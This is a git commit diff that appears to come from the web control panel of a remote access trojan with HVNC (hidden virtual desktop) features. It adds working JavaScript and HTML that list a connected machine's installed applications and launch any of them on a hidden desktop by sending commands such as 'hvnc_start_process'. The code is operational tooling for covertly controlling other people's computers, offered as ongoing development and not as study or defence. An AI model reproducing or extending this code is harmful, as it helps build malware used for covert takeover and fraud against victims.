allow all apps to be opened in HVNC and show their icons as well. (exe only for best support)
This commit is contained in:
@@ -397,6 +397,94 @@ import { checkFeatureAccess } from "./feature-gate.js";
|
||||
sendCmd("hvnc_browser_check", {});
|
||||
}
|
||||
|
||||
const installedAppsLoading = document.getElementById("installedAppsLoading");
|
||||
const installedAppsList = document.getElementById("installedAppsList");
|
||||
const installedAppsGrid = document.getElementById("installedAppsGrid");
|
||||
const installedAppsCount = document.getElementById("installedAppsCount");
|
||||
const refreshInstalledApps = document.getElementById("refreshInstalledApps");
|
||||
let installedAppsData = [];
|
||||
|
||||
let installedAppsLoading_pending = false;
|
||||
|
||||
function requestInstalledApps() {
|
||||
installedAppsData = [];
|
||||
installedAppsLoading_pending = true;
|
||||
if (installedAppsLoading) installedAppsLoading.classList.remove("hidden");
|
||||
if (installedAppsList) installedAppsList.classList.add("hidden");
|
||||
if (installedAppsGrid) installedAppsGrid.innerHTML = "";
|
||||
if (installedAppsCount) installedAppsCount.textContent = "";
|
||||
sendCmd("hvnc_installed_apps", {});
|
||||
}
|
||||
|
||||
if (refreshInstalledApps) {
|
||||
refreshInstalledApps.addEventListener("click", (e) => {
|
||||
e.stopPropagation();
|
||||
requestInstalledApps();
|
||||
});
|
||||
}
|
||||
|
||||
function handleInstalledAppsResult(msg) {
|
||||
if (!installedAppsGrid) return;
|
||||
const apps = msg.apps || [];
|
||||
const done = !!msg.done;
|
||||
|
||||
if (apps.length > 0) {
|
||||
installedAppsData.push(...apps);
|
||||
if (installedAppsLoading) installedAppsLoading.classList.add("hidden");
|
||||
if (installedAppsList) installedAppsList.classList.remove("hidden");
|
||||
if (installedAppsCount) installedAppsCount.textContent = `(${installedAppsData.length}${done ? "" : "…"})`;
|
||||
|
||||
for (const app of apps) {
|
||||
appendAppButton(app);
|
||||
}
|
||||
}
|
||||
|
||||
if (done) {
|
||||
installedAppsLoading_pending = false;
|
||||
if (installedAppsLoading) installedAppsLoading.classList.add("hidden");
|
||||
if (installedAppsList) installedAppsList.classList.remove("hidden");
|
||||
if (installedAppsCount) installedAppsCount.textContent = `(${installedAppsData.length})`;
|
||||
if (installedAppsData.length === 0) {
|
||||
installedAppsGrid.innerHTML = '<div class="text-xs text-slate-600 text-center py-3">No apps found</div>';
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function appendAppButton(app) {
|
||||
const btn = document.createElement("button");
|
||||
btn.type = "button";
|
||||
btn.className = "installed-app-btn";
|
||||
btn.title = app.exePath || app.name;
|
||||
|
||||
if (app.icon && /^[A-Za-z0-9+/=]+$/.test(app.icon)) {
|
||||
const img = document.createElement("img");
|
||||
img.src = "data:image/png;base64," + app.icon;
|
||||
img.alt = "";
|
||||
btn.appendChild(img);
|
||||
} else {
|
||||
const placeholder = document.createElement("span");
|
||||
placeholder.className = "app-icon-placeholder";
|
||||
placeholder.innerHTML = '<i class="fa-solid fa-cube"></i>';
|
||||
btn.appendChild(placeholder);
|
||||
}
|
||||
const nameSpan = document.createElement("span");
|
||||
nameSpan.className = "app-name";
|
||||
nameSpan.textContent = app.name;
|
||||
btn.appendChild(nameSpan);
|
||||
|
||||
btn.addEventListener("click", () => {
|
||||
sendCmd("hvnc_start_process", { path: '"' + app.exePath + '"' });
|
||||
hideContextMenu();
|
||||
});
|
||||
installedAppsGrid.appendChild(btn);
|
||||
}
|
||||
|
||||
function escapeHtml(str) {
|
||||
const div = document.createElement("div");
|
||||
div.textContent = str;
|
||||
return div.innerHTML;
|
||||
}
|
||||
|
||||
function sendCmd(type, payload) {
|
||||
if (!activeClientId) {
|
||||
console.warn("No active client selected");
|
||||
@@ -786,6 +874,10 @@ import { checkFeatureAccess } from "./feature-gate.js";
|
||||
handleBrowserCheckResult(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_installed_apps_result") {
|
||||
handleInstalledAppsResult(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_dxgi_status") {
|
||||
handleDXGIStatus(msg);
|
||||
return;
|
||||
@@ -821,6 +913,10 @@ import { checkFeatureAccess } from "./feature-gate.js";
|
||||
handleBrowserCheckResult(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_installed_apps_result") {
|
||||
handleInstalledAppsResult(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_dxgi_status") {
|
||||
handleDXGIStatus(msg);
|
||||
return;
|
||||
@@ -860,6 +956,9 @@ import { checkFeatureAccess } from "./feature-gate.js";
|
||||
}
|
||||
});
|
||||
requestBrowserCheck();
|
||||
if (!installedAppsLoading_pending && installedAppsData.length === 0) {
|
||||
requestInstalledApps();
|
||||
}
|
||||
}
|
||||
|
||||
function onWsClose() {
|
||||
|
||||
@@ -256,6 +256,21 @@
|
||||
<button type="button" class="w-full text-left px-3 py-1.5 hover:bg-slate-800/70" data-action="lookup-exe">
|
||||
<i class="fa-solid fa-magnifying-glass mr-2 text-amber-300"></i>Lookup exe…
|
||||
</button>
|
||||
<div class="my-1 border-t border-slate-700/60"></div>
|
||||
<!-- Installed Apps -->
|
||||
<div class="px-3 pt-2 pb-1 text-xs uppercase tracking-wide text-slate-500 flex items-center gap-2">
|
||||
<span>Installed Apps</span>
|
||||
<span id="installedAppsCount" class="text-slate-600"></span>
|
||||
<button type="button" id="refreshInstalledApps" class="ml-auto text-slate-500 hover:text-slate-300" title="Refresh installed apps">
|
||||
<i class="fa-solid fa-rotate text-[10px]"></i>
|
||||
</button>
|
||||
</div>
|
||||
<div id="installedAppsLoading" class="px-3 py-3 text-xs text-slate-500 text-center">
|
||||
<i class="fa-solid fa-spinner fa-spin mr-1"></i>Loading apps…
|
||||
</div>
|
||||
<div id="installedAppsList" class="hidden max-h-[280px] overflow-y-auto px-1.5 pb-1.5">
|
||||
<div class="grid grid-cols-1 gap-0.5" id="installedAppsGrid"></div>
|
||||
</div>
|
||||
</div>
|
||||
<style>
|
||||
body {
|
||||
@@ -295,6 +310,59 @@
|
||||
font-size: 0.65rem;
|
||||
color: #94a3b8;
|
||||
}
|
||||
#installedAppsList::-webkit-scrollbar {
|
||||
width: 6px;
|
||||
}
|
||||
#installedAppsList::-webkit-scrollbar-track {
|
||||
background: transparent;
|
||||
}
|
||||
#installedAppsList::-webkit-scrollbar-thumb {
|
||||
background: #334155;
|
||||
border-radius: 3px;
|
||||
}
|
||||
#installedAppsList::-webkit-scrollbar-thumb:hover {
|
||||
background: #475569;
|
||||
}
|
||||
.installed-app-btn {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 8px;
|
||||
width: 100%;
|
||||
text-align: left;
|
||||
padding: 5px 8px;
|
||||
border-radius: 6px;
|
||||
font-size: 0.75rem;
|
||||
color: #e2e8f0;
|
||||
transition: background 0.15s;
|
||||
}
|
||||
.installed-app-btn:hover {
|
||||
background: rgba(139, 92, 246, 0.18);
|
||||
color: #c4b5fd;
|
||||
}
|
||||
.installed-app-btn img {
|
||||
width: 20px;
|
||||
height: 20px;
|
||||
flex-shrink: 0;
|
||||
image-rendering: auto;
|
||||
}
|
||||
.installed-app-btn .app-icon-placeholder {
|
||||
width: 20px;
|
||||
height: 20px;
|
||||
flex-shrink: 0;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
background: #1e293b;
|
||||
border-radius: 4px;
|
||||
font-size: 10px;
|
||||
color: #64748b;
|
||||
}
|
||||
.installed-app-btn .app-name {
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
white-space: nowrap;
|
||||
min-width: 0;
|
||||
}
|
||||
</style>
|
||||
</div>
|
||||
</main>
|
||||
|
||||
Reference in New Issue
Block a user